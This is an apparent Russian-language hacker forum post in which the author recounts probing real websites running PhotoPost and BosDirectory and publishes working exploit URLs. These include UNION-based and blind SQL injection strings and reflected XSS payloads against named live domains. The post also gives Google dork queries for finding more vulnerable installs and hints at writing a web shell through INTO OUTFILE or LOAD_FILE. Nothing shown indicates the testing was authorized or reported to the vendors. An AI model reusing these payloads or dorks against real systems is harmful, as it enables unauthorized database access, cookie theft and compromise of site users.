Вообщем, день сразу начался здорово - во-первых, я наконец-то поспал хоть 6 часов за последние трое суток. Во-вторых, идеально пообщался с весьма интересной особой, к которой я испытываю неподдельный интерес. Но я не об этом. А о том, как я искал баги, и что нашёл. Усевшись за стол, я задумался - "Если уж везет, то во всем." И везде. И решил проверить рапространится ли моя удача в интернете. Заруливаю на Google, забиваю запрос (в этот раз решил соригинальничать немного - попробовал указать сразу две переменных). Запрос вернул много сайтов, но они мне не понадобились, ибо уже на втором сайте вместо ожидаемого инклуда я получил "неожидаемую" SQL инъекцию (не сразу, само собой, а минуты через две, т. к. сайт мне приглянулся и я решил на нём потестировать навыки (не ломателя, а поисковика)): _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&= Остальные ссылки буду давать через POST, привыкайте - к этому, это очень полезно и много безопаснее. Скрипт в ответ громко выгугался словами: MySQL error reported! Сама перменная шла в запросе после оператора LIKE внутри условия AND. Вообщем, проще показать: Code: AND (user LIKE '%[COLOR=Red]'[/COLOR]%') ORDER BY Ладно, подумал я. Мне есть что ответить. Ответ выглядел так: _http://www.sophoto.cn/photopost/showgallery.php POST:cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&= (Кол-во столбцов можно было узнать по выводу ошибки) Далее, я попробовал продолжить запрос так, как будто бы никакой ошибки нет: http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and(1=1)%20ORDER%20BY%20disporder,lastpost%20DESC/*&= Ошибки и впрямь не выпало, а это уже дало мне основания думать, что magic_quotes=Off, то есть кавычки модно будет попробовать, например, для заливки шелла при помощи INTO OUTFILE, ну, вообщем, Вы в курсе. Далее я осознал, что LIMIT не ORDER )) и попробовал заюзать UNION. _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=no_name%')+union%20select%201,USER(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&= Никаких цифр я не увидел, тем более, - имени юзера, по которым сайт общался с БД. Ну ладно, будем перебирать посимвольно (никогда не юзайте скрипты! - чтобы понять ценность баги, над ней нужно попотеть)). http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=%')+and((ascii(lower(substring(USER(),1,1)))%3E200))/*&= Вообщем, не помню вернуло ли оно истину, но помню, что .. И тогда я вспылил..... (с) ))) Нет, на самом деле, я в очередной раз задумался, постучал пальцами по столу и пришел к выводу о необходимости поиска другой аналогичной баги, но с более удачным выводом результатов. Само собой, бага нашлась, ведь то был мой счастливый день, да и баги по одиночке не ходят. ) Думаете сейчас я найду багу, через которую залбю шелл? Нет. Я нашел еще один бажный параметр с именем cat (не от слова кот, а от слова каталог)): http://www.sophoto.cn/photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&what=&name='&= В этом случае ошибки явно не выкидывало, как впрочем не выкидывало ничего вообще. Blind, вообщем. "Плохой сайт какой-то, неадекватный!" - подумал я. Потом посмотрел вниз страницы и увидел надпись: Powered by Vbimage. Что за VB? Visual Basic что ли? ) Удивило, что отсутсвовала версия - но так бывает, когда администраторы сайтов пытаются спрятать свои дырки ) , при этом грубо нарушая авторские права. "Вот это и будет нашей зацепкой", - решил я. In da Google: powered Vbimage Не помню точного ответа гугля (хотя дело былоо вчера), но кажется порядка трех страниц. Побродив по страницам, я заметил 2 вещи: данный скрипт либо идет вместе с vbulletin, как мод, либо лежит где-нить недалеко от папки /photopost/ либо имела надпись Powered by Photopost в титле.. Что за photopost такой? хорошо, что не photoget. Проверим: inurlhotopost inurl:name= Скриптов было достаточно много, среди них в том числе, во главе стоял сайт разработчика данного скрипта. Его мы тоже потестим. Попозже. Сейчас нужно выяснить какие версии есть уязвимы. На одном из сайтов, на котором работала данная уязвимость в титле я увидел Powered by PhotoPost 4.7. Ага, надо попробовать: intitle: Powered by PhotoPost 4.7 А еще на всякий случай просто: Powered by PhotoPost 4.7 Первой страницей, которую вернул скрипт была: photo.rol.ru/showphoto.php?photo=2640&password=0&sort=1&cat=500 "Хех."", - подумал я и начал менять параметры. _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name='&= Но ничего не вышло. Но справделивость всегда существует, да и день сегодня счастливый, поэтому кое-что я все же нашел. Конкретно - две XSS. А попробую-ка я не SQL, а XSS причем для того же параметра: _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=&name=%22%3E%3Ch1%3EZdes%20mogla%20bit%20washa%20reklama.%20Ili%20sniffer%20=)%3C/h1%3E&= Ну... не все так плохо! Особенно, учитывая что в домене rol.ru существет весьма популярная почта с WEB-интерфейсом. А вдруг админы профильтруют переменную? Нужно подстраховаться. _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=&what=%22%3E%3Ch1%3Estraxowka numer 1%3C/h1%3E&name=&= _http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpage=12&password=&ppuser=%22%3E%3Ch1%3EN2%3C/h1%3E&what=&name=&= В соседнем скрипте тоже была бага: _http://photo.rol.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E&password=&sort=1&cat=&page=1 Вообщем, я думаю понятно, что за скрипты там стоят. Кстати, у меня вот руки не дошли закачать фотку с именем <script>alert()</script>. Но, имхо, активные XSS'ки там тоже в ходу. Таксс.... А ведь уязвимость может быть и на других сайтах! Наведаемся к старым друзьям: _http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=%22%3E%3Ch1%3EFrom%201ten0.0net1%20with%20love%3C/h1%3E&page=6&sort=1&perpage=12&password=&ppuser=&what=&name=&= Опаньки! Еще и XSS. Тут я всерьез задумался на степенью кривизны творцов данного чуда. Пойдем к ним в гости. В титульной части сайта было написано следующее: PhotoPost PHP Photo Gallery With vBulletin and Other Forum Integration Ога.... Я думаю понятно, насколько мне повезло - я имею ввиду, что сам скрипт photopost чаще всего как написано, будет рядом с форумами. А это значит что? Это значит, что даже если при помощи SQL ничего не поучится сделать с форумом, то куи утащить будет вполне реально. Как бы найти примерчик... А далеко ходить не пришлось: PhotoPost Sites In Action И ниже ссылочка: _http://www.photopost.com/action/index.php?cat_id=5'&pg=4&sort=date&sort_dir=a как выснилсось, на большинстве указанных там сайтов, стоят новые версии PhotoPost'a. Жаль. Ладно потестируем сайт создателей. Долго тестиовать не пришлось: мало того, что они забоялись пользоваться своим творением, так еще пользовались чужим дырявым: _http://www.photopost.com/action/index.php?cat_id=1 Опускаем глаза и видим: BosDirectory v2.50 _http://www.photopost.com/action/index.php?cat_id=5+AND(1=2)/*&pg=4&sort=date&sort_dir=a _http://www.photopost.com/action/index.php?cat_id=5+order+by+10/*&pg=4&sort=date&sort_dir=a Выкидывает html код. А внизу ошибку выполения запроса: The query: SELECT category_add FROM bos_categories WHERE category_id=5 order by 10/* The result: Unknown column '10' in 'order clause' Ну и отлично. Колумн нужный всео один. _http://www.photopost.com/action/index.php?cat_id=5+union+select+1/*&pg=4&sort=date&sort_dir=a Начинаю сомневаться в своей вменяемости: MySQL error! The query: SELECT category_parent,category_title FROM bos_categories WHERE category_id=5 union select 1/* The result: The used SELECT statements have a different number of columns Ладно, предположим мне показлось (а может это новый виж SQL-инъекии - джамп injection, или на****щая инъекция ) ). На самом деле, как я понял, там просто в запросе истинном переменная встречается несколько раз, хотя.. Вообщем не суть. Суть в том, что моей целью было найти баги и я их нашел (шеллы я уже добывал, сейчас цель другая). Ну и наконец, проверим н бажность создателся скрипта BosDirectory Отольются кошке мышкины слезы - идем на сайт второго создателя. Сразу находим: _http://www.bosdev.com/phpinfo.php Из этого файла можно узнать полный путь к вебу, а потом, при соответствующих правах заинсертить шелл... ищем XSS. Находим: _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E Далее у меня в браузере началась вторая серия паранормалки (я трезвый был когда баги искал!): _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=2)/* Все нормально, ошибок нет. _http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=1)/* (2 раза загрузить) MySQL error! The query: INSERT INTO bdir3_search_cache VALUES(2,'Anti-virus') and(1=2)/*') Your search returned no results Разве?? Чудеса. Жаль, то не MSSQL, смысл запроса не поменять.( Но можно дополнить. Кстати, не знаю как Вам, а мне кажется что имя таблицы кэш там не спроста. И запросы каким-то образом кешируются, поэтомум грузить нужно по два раза. http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(ascii(lower(substring(USER,1,8)))%3E888)/* Ну, и таким образом проводим инъекцию. P. S. Кстати, скрипт сам оказался платным (49$) Вообщем, итог всего похождения: 1) Многочисленные SQL и XSS инъекции на достаточно популярном проекте PHOTO POST. Скажу сразу - определить версии уязвимых скриптов оказалось, трудно, но уязвимы многие версии. XSS: showphoto.php; showgallery.php SQL: showgallery.php Google trick: powered Vbimage intitleowered by Photopost inurl:/photopos/ Пример: XSS: http://site.com/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E SQL: photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/* Само собой, magic_quotes=Off. Но только для этой переменной, а их там, бажных достаточно. 2) Соответственно, SQL инъекция и XSS инъекции в платном скрипте BosDirectory. XSS: скрипт search.php SQL: скрипт index.php Google trick: Powered by BosDirectory inurl:Bosdirectory Пример: XSS: http://site.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EBug%20here%3C/h2%3E SQL: http://site.com/index.php?cat_id=5+order+by+10/* P. P. S. я указал не все скрипты и не все бажные переменые - некоторые я упомянул в статье, некоторые даже не назвал ;-). Кроме того, не стоит забывать о таких прекрасных функциях как LOAD_FILE() и INSERT INTO. Я о них почти не упомняул. А ведь они часто помогают получить шелл. Удачи! Всегда готов помочь, если что-то непонятно - обращайтесь. С уважением, 1ten0.0net1.